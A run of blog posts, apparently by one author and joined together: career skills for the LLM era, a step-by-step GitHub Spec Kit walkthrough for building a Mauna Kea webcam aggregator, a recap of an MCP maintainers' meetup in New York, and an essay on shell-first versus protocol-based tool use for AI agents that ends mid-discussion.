You might not at all be surprised to learn that you should be developing these skills regardless of LLM advancements. They are entirely company- and team-agnostic and just as relevant if you’re starting your own SaaS business or working for a mega-corp.

For every skill, I also include a sample set of questions you can ask about whatever you’re building. It’s not exhaustive - treat it as a starting point.

Creativity and Taste #

LLMs can generate thousands of idea variations, but it can’t tell you which one is right for every scenario. Not only that, but because LLMs are trained on vast amounts of existing content that means that the bulk of the output will just be a rehashing of what already exists. That’s why all the AI slop looks the same and every single vibe-coded website has the same rounded corners and purple-blue hues.

LLMs are predictive text on steroids and not a replacement for a human brain. What will set you apart is developing an eye for good design, quality code, understanding what resonates with actual humans, and knowing when something just feels off.

It’s the difference between technically correct and genuinely compelling. Smartphones existed before the iPhone, and yet the iPhone easily became the go-to choice for a massive part of the population because of the choices Apple made. LLM-generated code might work, but only someone with creativity and taste can determine whether it actually solves a scenario in a way that delights and solves the underlying problem.

Questions to ask #

• Does the solution feel intuitive and delightful to use?
• What makes this approach more elegant than alternatives?
• How does this implementation align with user expectations?
• Is the design tasteful?
• Does the implementation reflect strong opinions about the product?
• Is the code intuitive and maintainable?
• Is the code structured in a way that allows easy iteration?

Critical Thinking #

LLMs excel at pattern matching. They’re really good at looking at a massive existing corpus of data and then create “cookie cutters” for similar data.

They’re not omnipotent, though. Even the most advanced models struggle big time with context-dependent judgment. Critical thinking means knowing which problems to solve, understanding trade-offs, and recognizing when conventional wisdom doesn’t apply. It’s all about asking better questions, not just finding faster answers. Accuracy is much more important than the speed out the output.

Questions to ask #

• What problem are we actually trying to solve?
• Did we specify the problem in enough detail for the LLM to dissect it?
• What are the second-order effects of a decision or implementation?
• What assumptions am I making that could be wrong about the architecture or user flow?
• Are we painting ourselves into a corner with this design down the line?

Communications #

The ability to translate complexity into clarity becomes more valuable as LLMs handle the bulk of the very boring, monotonous, and repetitive tasks. You already know that model output is highly dependent on the quality of the input - if you provide crisper requirements, you will get better results. All those writing courses and nagging teachers that emphasize clarity of thought will be finally paying off.

In a very concrete example, GitHub Spec Kit is a project that my team built that introduces the concept of Spec-Driven Development (SDD). Its entire premise is “better specifications yield better products.” The cost of upfront planning results in LLMs being able to better “understand” the intent and then generate the code that best reflects it. It’s not vibe coding, because you can’t vibe code yourself to a good product.

Questions to ask #

• Can I explain my concept in enough detail that avoids assumptions?
• Am I able to document the user stories and scenarios that the product will solve?
• Am I able to ask the questions that will avoid ambiguity and confusion about the project?
• Are there unknown unknowns that I haven’t discovered, and how do I go about finding them?

Cross-Domain Knowledge #

You don’t need to be an expert in everything, but understanding how the pieces fit together matters today more than ever. You should know enough about frontend, backend, design principles, infrastructure, and data analysis to be able to have informed conversations and make sound decisions. That’s the new baseline.

When I talk about this point, people tend to get all up in arms - “But I am not a frontend engineer, why do I care?” Because someone who is not a frontend engineer but knows just enough about frontend development and knows how to set up a REST API with the help of Claude Code is going to be running laps around you.

Questions to ask #

• Do I understand the constraints and trade-offs across the stack?
• Can I have a productive conversation with specialists in adjacent domains?
• Where are the integration points that typically cause friction?
• What are the components that I need for this project to begin with?
• What are the state of the art tools that I need to be using to be productive?
• Are there any architectural choices I should not be making because that’s going to paint me into a corner in the future?
• Is the design I am building actually good?

AI Augmentation #

This isn’t about mastering every single tidbit about AI, ML, and transformers. It’s not about reading every paper on ArXiV either. You must know when and how to leverage existing AI tools effectively.

In practice, having this skill means being able to understand what LLMs do well, where they fall short, and how to chain them together to improve your output. It’s easier said than done because we’re in the period of AI development where it’s either all doom-and-gloom or “AGI is right around the corner,” when the reality is much more nuanced. Showing an LLM into the process is not a panacea.

Questions to ask #

• Which parts of this work can this model handle well enough?
• Which model is appropriate for the task that I am trying to accomplish?
• Am I replacing creative work or routine work with this LLM workflow?
• How do I validate that the LLM output is right?
• Are there agents that I delegate tasks to that will make me more efficient?
• What’s the right level of human oversight for this task?

Product Sense #

Understanding what to build and why separates tinkerers from product experts. I’ve seen people that call themselves product managers that can’t piece two pieces of customer feedback together - don’t be that. Product sense means having empathy for users, recognizing patterns in feedback, and prioritizing ruthlessly the things that will actually move the needle for the product.

To put it bluntly, it’s the skill that prevents you from building technically impressive things that nobody wants.

Questions to ask #

• What’s the actual customer problem here?
• Am I synthesizing feedback or just following it blindly?
• Do I ask users for features or patterns that I can use to build the actual solution?
• Do I understand the target audience?
• What’s the smallest version that delivers real value?
• How does the work ladder up to the broader strategy?

Execution Speed #

Ideas are cheap; shipping is hard. Yes, even with vibe coding. Again - look around. Where are the thousands of new SaaS businesses that vibe coding supposedly unlocked? There are not nearly as many as you’d think, and that is because doing things end-to-end is hard. And yet - those that can use modern AI tools to move faster will be at an advantage.

Execution speed is about maintaining velocity while keeping in mind why the hell you’re doing this to begin with - knowing when to move fast and ship an MVP versus slow down and do it right. Bias for action compounds over time, and you will need to develop a sense when to push the pedal to the metal.

Question to ask #

• Am I bikeshedding on irrelevant things?
• If this ships today, what’s missing?
• Is the decision a one-way or two-way door?
• What do I need to learn to make better future decisions?
• Will my customers be happy with what I delivered?
• Is this incrementally moving me to the end-goal?

Learning Agility #

The half-life of technical knowledge keeps shrinking - in every sense. Web development frameworks become lost in the sands of time faster than you can say “I want pizza.” Learning agility means being able to quickly absorb new concepts, recognize patterns across domains that are applicable in new tools, and adapting your mental models to things that will never be constant. Forget about memorizing frameworks. You need transferable understanding.

Questions to ask #

• What’s the underlying principle I can apply elsewhere?
• How does this relate to patterns I’ve seen before?
• What’s the fastest way to validate my understanding?
• Are there blind spots in my knowledge that will unlock new insights?
• What am I missing, and who do I talk to for me to discover this?

Systems Thinking #

As AI handles more isolated tasks, I want to see more people capable of seeing the bigger picture. There are so many people that are highly focused on a set of tasks that they forget about the fact that there’s more to product work than building one subsystem.

Systems thinking means understanding how components interact, anticipating cascading effects, and recognizing feedback loops. It’s the skill that prevents local optimizations that hurt global outcomes.

Questions to ask #

• How does this change ripple through the system?
• What are the dependencies I’m not seeing?
• Where might this create unintended consequences?
• What dependencies will potentially derail my product down the line?
• Is it possible that my target audience will be different once I ship?

Agency #

Read up on high agency. No, really - stop reading this blog post, click the link, and spend thirty minutes reading through George’s writing. To me, high agency boils down to a “We’ll figure this out - let’s get to work” attitude. No excuses, no waiting for permission, no futzing around with things that don’t actually have any material impact on the work. High agency people get shit done, and low agency people always find a reason why things don’t work.

Learn to be the bulldozer - no matter the obstacle, you can plow through and pave a way for others.

Questions to ask #

• Do I just start doing things or do I wait for someone to bless my aspirations?
• Do I dwell on the past or do I move forward?
• Do I assume that I will figure things out or do I look for reasons things won’t work?
• Am I waiting for others to teach me or do I learn things myself?

T-Shaped Is Dead, Long Live Pi-Shaped #

T-shaped used to mean one deep spike plus a thin layer of everything else. That was perfectly fine when roles were somewhat rigid and the handoffs were clean. PMs do one thing, engineers another, and so on.

Today, work is much more… messy. Loops are tight and the fastest path from idea to impact crosses multiple disciplines without the bandwidth to necessarily allocate a professional from each discipline to the task. I bet that the durable advantage is now much more π-shaped: two deep spikes sitting on a broad base. Allow me to elaborate on this totally-not-obvious explanation.

• Broad base: cross-domain fluency - you can speak frontend, backend, data, design, and delivery well enough to make decisions and ship.
• Spike 1: product sense - you have taste, judgment, and the ability to turn fuzzy customer problems into clear, valuable outcomes, while having a deep attention to detail.
• Spike 2: engineering craft - the skill to make it real, safely and simply, under production constraints.

AI lowers the cost of “type it and it runs.” It does not lower the cost of choosing the right thing, shaping it well, and operating it in the wild. That’s on you. Treat models as multipliers, not managers. They accelerate execution while you own intent, architecture, and accountability.

The future is full-stack. Get onboard.

All of this thinking and more got encapsulated in an experiment around the concept of Spec-Driven Development (SDD) that we collectively shipped in the open on GitHub, called GitHub Spec Kit.

Why specs #

The first question I usually get around Spec Kit is - “Why bother?” If LLMs are essentially “roll of the dice” kind of technology, can’t you just vibe code a bunch of stuff together and call it a day?

If you’ve used LLMs to vibe code anything, no matter how small, you know that the output can vary wildly. The prompt that you ran can produce a completely different result from the exact same prompt that your friend ran on a different computer that same day. LLMs are built like that - every time you ask it to do things, the little bits of sand in your computer start interacting with electrical signals and some complex math way out in the datacenter somewhere (unless you’re running things locally, of course) to predict the output. That means, by design, that said output will be, shall we say, variable.

That’s not necessarily a bad thing - we came to terms with the fact that this is how the technology works. Yet, within our team we still posed the question - “Can we harness this tech to produce deterministically good software?” We think one potential route there is through specifications. We are actually not alone in this thinking.

For those of you who are not product managers, specifications might mean different things. You also might’ve heard different terms thrown around in the same vein - PRDs, BRDs, CRDs, specs, and other fancy ways Silicon Valley tried everyone to adopt as a way to describe what I can best describe as “detailed descriptions for software”. Lots of oxygen has been spent trying to outline what a good spec is, but it’s always about being very clear about the intent.

The gist of the specification document is simple - it’s an outline of the “what” and the “why” of your product, feature, or bug fix. Think of it as an artifact responsible for outlining the reasoning behind why something needs to be built and what exactly will be built to match customer expectations.

Specifications are also intentionally detached from technical details. A spec document is not the place where you go and define all the inner workings of your technical stack of choice. Your customers couldn’t care less if you wrote the code in C# or Python, or whether you used d3.js or Recharts for your interactive graphs. Unless, of course, you have super-technical customers, in which case - kudos. Most of the time customers care about very concrete solutions and how they will be brought to life through the power of software. That’s the lens you should be looking through when it comes to specifications.

If you focus on specifications and ignore the technical details for a moment, you also unlock a myriad of possibilities that were previously not there if you would keep all of the requirement types in the same “bundle” or right away start with code.

Say, if you decide to write an app in Swift, you could theoretically use a spec you put together for that app and have every little tidbit captured in one massive document. But what if you are curious if the Objective-C version will be more performant (not that it would be, but hey)? Well, if you had one “hybrid” document that intermingles all those details - functional and technical - now you need to untangle the mess to get to the crux of your product requirements. If you have a clean spec that focuses on the “what” and the “why,” you can have an LLM (or multiple) implement independent versions of your app. Then, you can compare the experience for yourself. It’s all built on top of the same set of requirements.

Using LLMs with specs may feel a bit annoying - you see all these random YouTube influencers showing you how they just used Claude Code to vibe code their new SaaS business over the weekend and here I am, asking you to just sit down and write your requirements first before you toss your project into a LLM chat box to implement. There’s a fairly significant upside to this approach - just like in the real world, if you are able to clearly articulate your requirements, you will get better outcomes.

If we look at LLMs as over-eager junior engineers that just can’t wait to go and sling hundreds of lines of code, wouldn’t you say that the crisper the requirements and guidance we give them, the better likelihood we have to get actually decent code? I strongly believe so.

In this arena, specs become the executable artifacts. The code becomes somewhat (not altogether, don’t yell at me just yet) fungible - you still need to make sure that you review it and spot issues, but ultimately it becomes the “compiled specification.” You can quickly iterate on it and even re-create it from the spec with the help of an LLM. As long as you have crisp requirements, of course.

How Spec Kit fits here #

Instead of reading many words in the post below, I would actually recommend you can start with an overview of GitHub Spec Kit that I recorded not that long ago:

GitHub Spec Kit is, at its core, not a product. That’s the fun part about working on this project - it’s an experiment designed to test how well the methodologies behind SDD actually work.

If you look under the hood, Spec Kit has a few fairly basic components:

• A number of pre-determined slash commands (stored in Markdown files):
  • /speckit.constitution - define the project constitutional guardrails. These are the non-negotiable principles that must be respected at all times.
  • /speckit.specify - build a specification document based on the user prompt.
  • /speckit.clarify - ask the user for clarification questions on the spec to help prevent ambiguities.
  • /speckit.plan - create a technical plan for the specification.
  • /speckit.tasks - break down the technical plan and the spec into a set of individual tasks that a LLM can tackle.
  • /speckit.analyze - analyze the spec, plan, and task breakdown for any inconsistencies.
  • /speckit.checklist - create “unit tests for English” for your specification, enabling you to quickly find blind spots in your domain thinking (e.g., UX, security, accessibility, etc.).
  • /speckit.implement - implement the project based on all of the combined artifacts.
• The specify CLI, that is used to scaffold the project with all the prompts for supported agents.

That’s… it. No, really - GitHub Spec Kit mostly revolves around prompts and a CLI that helps bring in all of the relevant project packages locally.

Let’s start with the CLI, since it’s the first piece of the experience here.

Using the CLI is entirely optional because all it does is download an existing package from the GitHub repository that contains the pre-baked prompts (that will be used as custom slash commands) and some Spec Kit-specific metadata and templates. You can even download and extract them yourself directly from the GitHub Spec Kit repo.

Each package is specifically crafted for your agent and platform of choice - on POSIX-compatible systems you can use shell scripts, and on Windows (or Linux too, really) you can use PowerShell.

Once the project is instantiated, you can effectively just go through the flow-chart of commands:

All of the commands are available to you in the agent of choice. I myself use Visual Studio Code with GitHub Copilot, but the same commands and principles are applicable to any agent that you’re using.

Step-by-step #

Let’s go step-by-step through all the commands that we can run here. And to make this more practical, I will actually be building something I wanted to have for some time - a tracker of the Mauna Kea cameras that are maintained by University of Hawai’i.

Setting up the constitution #

The constitution is a set of non-negotiable principles for your project. Think of it as a set of constraints that you want to be universally applicable, that the LLM cannot skip out on under any circumstances. To set up the constitution, use the following command and prompt as an example:

/speckit.constitution this is a static website with minimal dependencies.
There are no external services - everything should be built locally with
existing tools and within existing conventions. Content files must be
Markdown and data files must always be JSON.

I want to build a website that aggregates all the images in a nice, consumable way, without having to go to the website manually every time I want to see the latest status. The constitution serves that purpose - it establishes the foundational requirements that I do not want any complexity (e.g., do not build me SQL databases connected to some remote services) - this is all about local data collection.

Using this command will create a new constitution document inside .specify/memory/constitution that will contain the non-negotiable principles for your project. You can also manually amend it if something stands out that you don’t like.

But do I have to create the constitution with this command? What if I already have an idea of the constraints, can I just bake them into my own constitution document manually and then have Spec Kit commands refer to it?

I mean, you can also manually write the constitution document too - you don’t need to rely on the LLM to do that work if you have a very clear understanding of what the constraints should be. For ease of use, however, I just recommend keeping it in the same location where Specify CLI put it - that way you don’t need to update any references within the templates.

Building the specification #

With the constitution out of the way, we can now go ahead and actually focus on the specification. As a reminder, a specification in this context is not about technical details but rather about the functional requirements. To get the specification bootstrap, you can use the /speckit.specify command - it will use a built-in template and will populate it based on the prompt that you give it, like this:

/speckit.specify I am building a visualizer of camera snapshots
for Mauna Kea. The landing page should display all available
cameras. There are 34 cameras total. I want them to be presented
on the landing page in a uniform way - that is, the camera images
themselves might be different sizes, but ultimately all should be
shown the same in square cards. Cards for each camera should have
a name for it as well as directional aiming
(e.g., N, NW, Up, E, etc.). I also want the card to show the date
and time of the last snapshot. The overall style of the landing
page should be modern and using the dark theme. Color scheme
should be accessible. When the user clicks on one of the
camera cards, they should be able to navigate to the camera
page, that shows camera metadata at the top (same as in cards),
with a focused image of latest snapshots, and then the ability
to browse 10 previous snapshots (which are also images). There
is no video or other non-image data.

The specification prompt looks way more elaborate than the constitution one. Is that intentional? Do I need to provide more context for the spec than I do for other items here?

That’s a very astute observation! I’d say yes - the specification prompt should be as detailed as possible without getting into the weeds of technical implementation. It’s OK if you don’t include everything - specifications are documents that are in flux. We will have an opportunity to refine the requirements as we iterate.

Once you kick off the spec building process, a helper script will be executed (the type will depend on your choice of platform) that will bootstrap a new branch and then the LLM will start populating the specification.

Wait… Hold on… Did you say that you’re creating a “branch”? Are the Spec Kit prompts managing my Git repository here?

As with any new feature and capability added to the product, the best way to iterate on it is in isolation. That is - no matter what changes we make or how we break the code, it will all be contained to the designated branch alone. We’re not very keen on breaking production code with our experiments.

The specification document will contain a few things of interest here, and if you are someone who is deep into the product management world like myself, you will see some familiar terms. Things like user stories, functional requirements, and success criteria.

Clarifying requirements #

With the specification now set, we can now also use the same LLM we’ve been using to iterate on the spec to ask for clarifying questions. The biggest problem with specifications in my experience is actually underspecification - it’s easy to miss requirements that you don’t know you don’t know. That’s right - we’re talking about unknown unknowns.

To help with that problem, we’ll use /speckit.clarify to help bring the creative genius out of our amateur product manager endeavor.

To make the clarification process a bit smoother, we baked some logic into the prompt to make sure that you’re given a few potential answers instead of writing everything manually. AI is all about automation and delegation, right?

When the clarification process is done, the specification document will be updated with all the details that you provided. The specification only becomes stronger if we question the initial assumptions.

Creating the technical plan #

We’re now ready to proceed to defining technical details with the help of the /speckit.plan command, which will instruct the LLM to create all the required artifacts that will enable us to actually build a version of the web experience I’ve described.

My planning prompt is as follows:

/speckit.plan this is a Hugo website. It should not use any
other frameworks outside of that. Templates for the page
should be completely custom HTML, CSS, and JavaScript - do
not pull in any dependencies. If you have to run npm install,
that means that you've gone the wrong way. Camera details
(image URI, camera ID, direction) should be stored in a
cameras.json file in the collector folder. The same folder
should have a bash script that gets the image from every
camera URI and stores it in a
data/images/CAMERA_ID/YEAR_MONTH_DAY_HOUR_MINUTE.webp.
Images need to be converted to WEBP from their source
format within the bash script. GitHub Actions are used to
run the script every 20 minutes - which will download all
image snapshots for all cameras in cameras.json. When the
Hugo site is built, images from the data folder should be
used to construct the layout (i.e., used where required).

And with the command executed, we’ll get - you guessed it - more Markdown files. Primarily we need plan.md, but we can also see that there is a data-model.md that outlines, well, our data model, as well as some contracts - such as the schema for the cameras.json file that will store the camera metadata. We will need that to regularly collect image snapshots.

Validating with checklists #

An intermediary step that I also found helpful to have when we have the specification and the plan outlined is the use of /speckit.checklist, which allows me to introduce “unit tests for English” - go through the spec and ensure that for a given domain (e.g., UX, security, accessibility, etc.) I’ve specified the right amount of detail. This is yet another guardrail against underspecification, but this time it combines the power of functional and technical requirements.

Let’s add one for UX:

/speckit.checklist UX

That’s it, that’s the command.

Notice that even when you’re generating a checklist, we’re asking you clarifying questions because we want to make sure that the checklist accurately reflects the intent.

Once the checklist is generated, we now need to cross-correlate it with the contents of the spec and the technical plan. You can do this manually, but it will be a fairly tedious process. Or, you can ask the LLM to help you:

Go through the UX checklist and make sure that the "what" and
"why" requirements are properly captured in the spec, and the
technical requirements are captured appropriately in plan.md.
Check off the items in the checklist that you've completed.

It’s worth noting that what can happen sometimes is that the implementation details, such as element sizes or colors, will bleed into the spec. That’s especially common with LLMs that are over-eager, such as Claude Sonnet. When you inspect the changes and see that there is incorrect inclusion of technical details in the functional spec, ask the LLM to remove technical requirements and move them into the plan.

Break things into tasks #

Time to now take all the context we’ve baked into the swath of documents and have a clear set of tasks for the LLM to execute against. This is, in my opinion, one of the most important steps to verify - the tasks are a reflection of what the LLM will build, so we need to ensure that it’s accurate and doesn’t introduce unexpected changes. LLMs, after all, can be very enthusiastic about changing things on the fly.

To generate the tasks, just use:

/speckit.tasks

You will notice that the generated tasks.md file has a breakdown of tasks by user story, and crucially - sequences them in a way that allows us to test the changes before all the tasks are complete.

Pre-implementation analysis #

The last step before we actually trigger the implementation is encapsulated in /speckit.analyze. This command scans the spec, technical plan, and tasks to make sure that they are coherent and map to the constitution. It’s your last defense line against a potential mismatch in requirements.

When the analysis is complete, you can ask the LLM to apply the relevant fixes - this will help prevent ambiguities or potential requirement conflicts. I’ve, once again, noticed this happen with over-eager models, where a certain requirement might be specified several times in different ways, and the /speckit.analyze command helps avoid the scenario where they conflict or are re-implemented differently.

Implementation #

We’re finally at the last step - /speckit.implement. We’ve done the work on the constitution and the spec, we made sure it’s not underspecified, set up a technical plan, broke it down into tasks, and ensured that all of them make sense in the context of the whole project.

Time to type in and wait for the magic to happen:

/speckit.implement

After a few turns and iteration, I got a working aggregator that collected all of the images in GitHub with the help of GitHub Actions, and of course running entirely statically - it’s a Hugo-based site hosted on Cloudflare.

You can even try it out yourself! It’s not an overly-complex project, but I managed to wire it up and set it up after having it on my “to do” list for a year. Using the spec-driven approach with a coding agent literally let me move a project from an idea to a functional app in less than two hours. Not a bad outcome, considering how much time I’d spend manually scaffolding and implementing CSS and JavaScript logic.

Iteration #

One of the things I mentioned above that you might’ve glanced over is that I called out iteration. As Mitchell Hashimoto observed as well, agents require supervision, and if you let a coding agent run loose without you guiding it to the right destination, you might just end up at the wrong destination.

The spec-based approach allows you to confidently build the scaffolding. This is the first step of the process. Once the scaffolding is established, it’s your job to now refine the output. If it’s not quite what you expected to begin with, you can blow away the code and start with tweaking the spec, plan, and task list and then re-building the implementation.

Another approach here is to have the LLM add Git-based checkpoints after specific phases - it’s not yet baked into Spec Kit from the start, but the more I think about the iterative approach, the more I like leaning into existing developer tools to make this process smoother and more, shall we say, reversible. Go where the developers are.

All in all, however, it’s worth keeping in mind that specs are not a panacea and certainly not yet anywhere near offering the ability to one-shot products or project changes. Human in the loop is as important as it ever was, and what will help you grow moving forward is becoming better and better (and then much better than that) at defining crisp requirements.

LLMs will continue advancing, and so will their ability to process context at scale. But the bottleneck at that point will not be how many files you can reference or whether it correctly pulls constitutional principles for your project but rather how much guesswork is eliminated from encoding the developer intent into the produced output.

Conclusion #

We’re just a bit over a month since Spec Kit came to life, and we’ve plugged quite a few improvements in, but it’s certainly not a done deal. Our team is still experimenting with best ways to integrate with existing tools and developer workflows, as well as lean into more advanced capabilities such as multi-variant implementations (I wonder if Git can help here).

To stay up-to-date with all things Spec Kit, I recommend you star and follow our repository on GitHub. And if you are so inclined, I also have been recording and publishing video updates - they’re the reflection of the latest bits in the repo.

How The Protocol Contributions Work #

While any process can benefit from improvements over time, the existing contribution and collaboration process works quite well. And you might be surprised to learn - it’s pretty much done asynchronously. That’s right, the most popular protocol that is used by the entirety of the AI ecosystem is built by a distributed crew of folks around the globe, spanning many timezones, and communicating in written form to discuss proposals and changes (we even have a governance process). Truly living up to the mantra that was outlined by 37signals eons ago when it comes to collaboration:

We don’t care where employees choose to live and work, just that they’re here to do great work on exceptional products, alongside a world-class team.

The MCP community is doing great work on an exceptional product. And just like the folks at 37signals called out, contributors work synchronously when needed, too!

Of course there will be times when you do need to tightly collaborate with someone in real time, but those cases should be infrequent. We have pings, video calls, screen-sharing, or even in-person collaboration for when async isn’t efficient.

We have regular calls between members of individual work groups and maintainers - the notes are out there in the open, and most meetings (with the exceptions of maintainer-specific calls) are open to anyone in the contributor community to join.

True proof that remote work on some of the most impactful projects is possible. But I digress.

Even with all of us collaborating on MCP remotely, it helps to meet every once in a while to chat about where we’re taking the protocol and whiteboard some of the emerging Spec Enhancement Proposals (SEPs). That’s exactly what we did just a few weeks back!

Two Days In New York #

A few of the most active maintainers of the protocol flew out to New York to meet and talk about all things MCP. We had the event split into two days - first with Core Maintainers, focused on high-level protocol and community improvements, and the second with an “unconference”-style set of conversations that were open to a broader crew of MCP maintainers and contributors.

Thanks to Alex Hancock, we ended up in a nice office right in the middle of SoHo. Shout-out to Block for hosting us there!

We’ve spent a good chunk of our time thinking through what works and what doesn’t around governance, scaling contributions, and driving MCP adoption. On the heels of the changes to the governance structure of MCP, we’ve discussed ways in which we can streamline the contributor workflows and get the right features in the pipeline faster. There are quite a few SEPs for us to go through in the MCP repo!

We also got some time to review a few of the SEPs in the backlog in-person - the day overlapped with the regularly-scheduled Core Maintainer meeting so we took advantage of us all being in the same room to talk about some of the SEPs that were ready for review. This is when we approved the URL Mode Elicitations, which will allow MCP servers to request downstream API authorization.

The second day was all about connecting, ideating, and brainstorming solutions to MCP’s thorniest emerging problems, like statelessness. A massive shout-out to Kurtis Van Gent for helping coordinate those discussions.

From the meetup discussions, a few important follow-ups emerged that we will need to tackle:

• Improve Working Group autonomy - how do we ensure that existing working groups can work well by themselves and help us triage and synthesize inbound SEPs? We have quite a few domain experts and we’d benefit from a more formal engagement with them. You might also want to check out an excellent SEP from Tadas Antanavicius that helps us get on the right track here.
• Change SEP process to allow for alignment on requirements beforehand - the challenge with the current SEP submission process is that there are folks who put a lot of great work in proposals that ultimately might not be a good fit for the protocol. How do we facilitate early discussions that help us be good community citizens and foster a more collaborative culture at the same time?
• Improve client implementor representation in MCP Steering Committee - MCP clients are a key component of the ecosystem. If you’re using Cursor, VS Code, Claude Code, Gemini CLI, or any other major (or less mainstream) client, you likely want to make sure that MCP just works with those, and at the same time works consistently with other implementations. We look at bringing more client developers to the table to help shape the protocol.
• Create SDK tiering system - we know that some SDKs get a lot of support from larger organizations and teams, while others are volunteer-run and depend on some amazing developers that dedicate as much time as possible to make the SDKs spec-compliant, but might be a bit behind implementation-wise. How do we set support and velocity expectations with the consumers of those SDKs?

And of course, there’s more work ahead, but again - it’s still all in the open! I would encourage you to check out the MCP repo on GitHub and join in on the fun (it’s really fun, I am totally not biased here).

The Location #

Gotta say, though - choosing New York City for the meetup was great - everything around us was walking distance. Coffee shops? Plenty, although shout-out to Deploy Coffee for some really good coffee. Food? Myriad of great choices without going far. And NYC is just a beautiful city to visit.

Somehow I avoided jumping in a cab and asking “Take me to the Seinfeld apartment,” so I’d say the trip was a success.

With two jam-packed days of discussions, debates, and all kinds of protocol improvement ideas, I want to express a sincere thank you to David Soria Parra, Nick Cooper, Nick Aldridge, Inna Harper, Basil Hosmer, Paul Carleton, Alex Hancock, Che Liu, and the entire MCP contributor and consumer community - working with all these folks is nothing short of feeling like being part of a dream team.

Oh, and even the views from EWR did not disappoint on this trip!

This week, I watched GitHub Copilot help me analyze a few gigabytes of log files by using rg to swim in a sea of unstructured data, extract some JSON with jq, pipe all of that through sqlite3, and generate a fairly comprehensive performance report - all using nothing but shell commands. No custom integrations, no MCP servers, no REST API wrappers, no cellphones in sight - just a terminal living in the moment.

It took 15-ish minutes to complete what would have been days of manual work. The question isn’t whether this is impressive. The question is: have we been overthinking tool integration this entire time?

I mean, the shell is a relatively simple abstraction that most developers and power users alike are quite familiar with. Think about it - when’s the last time you used the wrangler CLI to push one of your updated web sites to the cloud? What about gh to manage GitHub pull requests? And ffmpeg to convert that GIF to MP4? How about running an apt install to get a Ubuntu package you needed to compile the video driver for the hundredth time? Oh, and you just downloaded a ZIP with curl the other day. Command Line Interfaces, or CLIs for short, are quite literally everywhere. Whether you’re on Windows, Linux, or macOS - you likely used some command line tools in the past few years.

CLIs are, by all measures, ubiquitous and accessible to anyone with a bit of technical know-how. As a bonus, most widely-adopted products that ship as CLIs are also cross-platform to boot. There’s no excuse not to use them, right?

The Great Divide #

When it comes to tooling in AI-based workflows, in the past few months I’ve noticed two distinct camps emerging:

• Protocol Builders - Developers creating sophisticated integration layers like Model Context Protocol (MCP). I consider myself one of them, as I happen to be one of the Core Maintainers within the project. These protocols are multi-layered abstractions that provide controlled, secure interfaces between agent systems and external tools, and introduce a number of protocol-specific primitives that are meant to be universally adopted.
• Shell Pragmatists - Developers who bypass all abstractions and let LLMs simply orchestrate CLI tools. Their philosophy is essentially: why build custom integrations when every tool they need already has a command-line interface?

I started out as a firm believer in the first camp, but after my log analysis experiment, I started questioning whether the second camp might be onto something fundamentally different about developer adoption patterns that can improve the LLM integration experience. I was definitely not the only one thinking about this concept in depth.

Why Shell-First Gained Steam #

The more I’ve thought about tool adoption, the more I’ve converged on one particular insight: developers adopt tools that don’t require learning a new worldview. Sounds trivial, right? If something integrates with the tools you already work with, it’s easier to use that instead of a whopping new product that requires you to understand the inner workings of something you didn’t need a month ago. That’s the reason we have so many people excited to work on their own OAuth implementation instead of using off-the-shelf libraries.

This is a long way of saying that if you’ve worked in any engineering or engineering-adjacent team, you likely learned that developers are creatures of habit. They have preferences for languages, IDEs, color schemes, fonts, and so much more. To add to this, developers’ habits quite often revolve around the shell in some shape or form, even if that shell is not embedded in the actual OS terminal application. I see developers use their favorite shell from Visual Studio Code, others have it embedded in the browser when connected to cloud services, and so on. A shell is a portal to easily build complex actions from an almost unlimited number of tools and primitives. Just look at any relatively benign shell script and you will see that behind the seemingly simple few lines of code are actually multiple commands that each have their own mission. So, when an AI tool can play nicely with git, cron, and make (just a few commands to illustrate the examples, but they can do a lot as-is) it naturally fits in my and my peers’ developer workflow.

This is also complemented by the fact that modern LLM clients are really good about invoking CLIs if you provide enough context ahead of time, whether that is through a man page, a link to docs, or just a standard --help argument being available in the CLI in the first place. Not every client will be capable of doing this, but those that are generally are pretty decent at it, at least in my experience.

So, if I posit that CLIs are already part of the developer workflow, and LLMs and their clients are an added “workflow sugar” on top, could it be that all we really need is a shell with a couple of CLI components that are able to get the job done?

When Simple Doesn’t Mean Simplistic #

A valid criticism of the shell philosophy usually comes on the heels of two issues: scale and complexity. Shell scripts can be fine for personal use, but they might crumble under the weight of real-world enterprise needs. This view misunderstands somewhat the power of the modern shell and the existing ecosystem around it.

The shell at its core is composable. As with any other tool, it has its limitations. You can work with a shell on a local computer just fine, but the moment you start dealing with remote scenarios or otherwise constrained environments that don’t allow you to execute arbitrary commands, things get off the rails. A shell can also add unpredictable complexity - you have to know that a CLI exists for what you’re trying to do if it’s outside the bounds of what the model was trained on. You also need to know that a specific CLI is, in fact, useful for what you are trying to accomplish. I’ve seen first-hand how models tend to hallucinate commands and parameters that simply do not exist.

Whereas, if you plug in a MCP server into your client, things are expected to just work.

Shells are incredibly powerful, and dare I say - even more powerful than any single MCP server. A shell can be used for anything. Write Python scripts and chain them to SQLite queries? By all means. Combine the outputs with some file system search and JSON parsing? Yes, please. Your entire abstraction is the shell. The boundaries are defined by the commands that you can execute within it. You don’t need to worry about the fact that a MCP server might not exist for your scenario (although this point is harder to make now, in September of 2025) - CLI tools are out there for almost anything.

The shell is a convoluted universal remote - the commands are there and the LLM needs to figure out how to use them.

It’s also worth remembering that while there might be a CLI for everything, you still need to bring that context into the client and the model you’re using. If they were not trained on content that covers said CLI, you will need to be creative in designing ways through which the CLI details can be embedded in your LLM-based workflows, like providing crisp usage instructions or guiding the LLM through the command documentation.

Where Did This Land In Practice #

To put a bit of a practical spin on my long-winded advocacy effort for CLIs, let’s get back to the example I mentioned earlier in this blog post. For an unnamed project I needed to analyze gigabytes of unstructured data. It’s a bunch of scattered text files containing log information - some of it is JSON, some of it is in a weird YAML and XML combo (it could be so much worse) - just not something I wanted to deal with manually if I didn’t have to.

There are no MCP servers for what I wanted and implementing one would require me wrapping a bunch of existing CLI tools in the MCP interface, which would feel… redundant? Not necessarily an insurmountable task, but certainly one that would require some throwaway work, given that nobody but me wanted to do what I did.

Also, I kept in mind the fact that when it comes to invoking MCP tools, most clients are fairly restrictive on how many tools you can have accessible at any given time (that is getting better in some applications). This is driven by a limited context window in which you have to fit the LLM request, and it need to include tool metadata. If you have too many of them, you risk running out of room for your actual instructions. Not ideal.

Long story longer, instead of stitching together a quilt made out of random MCP servers, I included a number of CLI references in my global project agent file and let Copilot run through the data cleanup and parsing tasks from within Visual Studio Code. The agent put together a script that piped rg output to jq and then used sqlite3 to inject the data in a structured database.

